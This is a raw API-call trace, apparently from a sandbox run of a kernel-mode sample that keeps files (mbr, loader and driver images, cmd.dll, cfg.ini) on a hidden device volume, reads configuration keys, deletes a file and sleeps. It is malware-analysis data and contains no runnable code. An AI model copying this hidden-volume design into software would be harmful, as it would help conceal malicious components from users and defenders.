_strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.961] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.961] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.961] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.961] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.961] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.961] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.961] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.961] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.961] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.961] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.961] KeLeaveCriticalRegion () [0121.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.961] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.961] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.961] KeEnterCriticalRegion () [0121.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.961] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.961] IdePortDispatch () returned 0x103 [0121.961] KeWaitForMutexObject () returned 0x0 [0121.961] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.961] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.961] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.961] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.961] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.961] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.961] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.961] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.961] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.962] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.962] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.962] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.962] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.962] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.962] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.962] KeLeaveCriticalRegion () [0121.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.962] ReleaseMutex (hMutex=0x100) returned 1 [0121.962] Sleep (dwMilliseconds=0x2bf20) [0121.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6be636f0, dwHighDateTime=0x1d24fa4)) [0121.968] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.968] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.968] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.968] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.968] KeEnterCriticalRegion () [0121.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.969] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.969] IdePortDispatch () returned 0x103 [0121.969] KeWaitForMutexObject () returned 0x0 [0121.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.969] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.969] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.969] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.969] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.969] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be29b0 [0121.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.969] KeLeaveCriticalRegion () [0121.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.969] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.969] KeEnterCriticalRegion () [0121.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.969] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.969] KeLeaveCriticalRegion () [0121.969] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.969] KeEnterCriticalRegion () [0121.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.969] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.969] IdePortDispatch () returned 0x103 [0121.969] KeWaitForMutexObject () returned 0x0 [0121.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.969] KeLeaveCriticalRegion () [0121.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.970] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.970] KeEnterCriticalRegion () [0121.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.970] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c02000 [0121.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.970] IdePortDispatch () returned 0x103 [0121.970] KeWaitForMutexObject () returned 0x0 [0121.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.970] IdePortDispatch () returned 0x103 [0121.970] KeWaitForMutexObject () returned 0x0 [0121.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.970] KeLeaveCriticalRegion () [0121.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.971] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.971] KeEnterCriticalRegion () [0121.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] KeLeaveCriticalRegion () [0121.971] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.971] KeEnterCriticalRegion () [0121.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.971] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] KeLeaveCriticalRegion () [0121.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.971] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.971] KeEnterCriticalRegion () [0121.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] ExFreePoolWithTag (P=0xfffffa8003be29b0, Tag=0x0) [0121.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] KeLeaveCriticalRegion () [0121.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.971] ReleaseMutex (hMutex=0xf0) returned 1 [0121.971] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.971] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.971] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.971] KeEnterCriticalRegion () [0121.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.971] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.971] IdePortDispatch () returned 0x103 [0121.971] KeWaitForMutexObject () returned 0x0 [0121.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.972] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.972] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.972] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.972] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.972] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2bb0 [0121.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.972] KeLeaveCriticalRegion () [0121.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.972] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.972] KeEnterCriticalRegion () [0121.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.972] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.972] KeLeaveCriticalRegion () [0121.972] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.972] KeEnterCriticalRegion () [0121.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.972] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.972] IdePortDispatch () returned 0x103 [0121.972] KeWaitForMutexObject () returned 0x0 [0121.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.972] KeLeaveCriticalRegion () [0121.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.972] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.972] KeEnterCriticalRegion () [0121.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c03000 [0121.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.973] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.973] IdePortDispatch () returned 0x103 [0121.973] KeWaitForMutexObject () returned 0x0 [0121.973] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.973] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.973] IdePortDispatch () returned 0x103 [0121.973] KeWaitForMutexObject () returned 0x0 [0121.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.973] KeLeaveCriticalRegion () [0121.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.974] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.974] KeEnterCriticalRegion () [0121.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.974] KeLeaveCriticalRegion () [0121.974] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.974] KeEnterCriticalRegion () [0121.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.974] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.974] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.974] KeLeaveCriticalRegion () [0121.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.974] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.974] KeEnterCriticalRegion () [0121.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.974] ExFreePoolWithTag (P=0xfffffa8003be2bb0, Tag=0x0) [0121.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.974] KeLeaveCriticalRegion () [0121.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.974] ReleaseMutex (hMutex=0xf0) returned 1 [0121.974] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.974] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.974] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.974] KeEnterCriticalRegion () [0121.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.975] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.975] IdePortDispatch () returned 0x103 [0121.975] KeWaitForMutexObject () returned 0x0 [0121.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.975] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.975] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.975] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.975] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.975] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9e10 [0121.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.975] KeLeaveCriticalRegion () [0121.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.975] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.975] KeEnterCriticalRegion () [0121.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.975] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.975] KeLeaveCriticalRegion () [0121.975] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.975] KeEnterCriticalRegion () [0121.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.975] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.975] IdePortDispatch () returned 0x103 [0121.975] KeWaitForMutexObject () returned 0x0 [0121.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.976] KeLeaveCriticalRegion () [0121.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.976] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.976] KeEnterCriticalRegion () [0121.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c04000 [0121.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.976] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.976] IdePortDispatch () returned 0x103 [0121.976] KeWaitForMutexObject () returned 0x0 [0121.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.976] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.976] IdePortDispatch () returned 0x103 [0121.976] KeWaitForMutexObject () returned 0x0 [0121.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.976] KeLeaveCriticalRegion () [0121.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.977] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.977] KeEnterCriticalRegion () [0121.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.977] 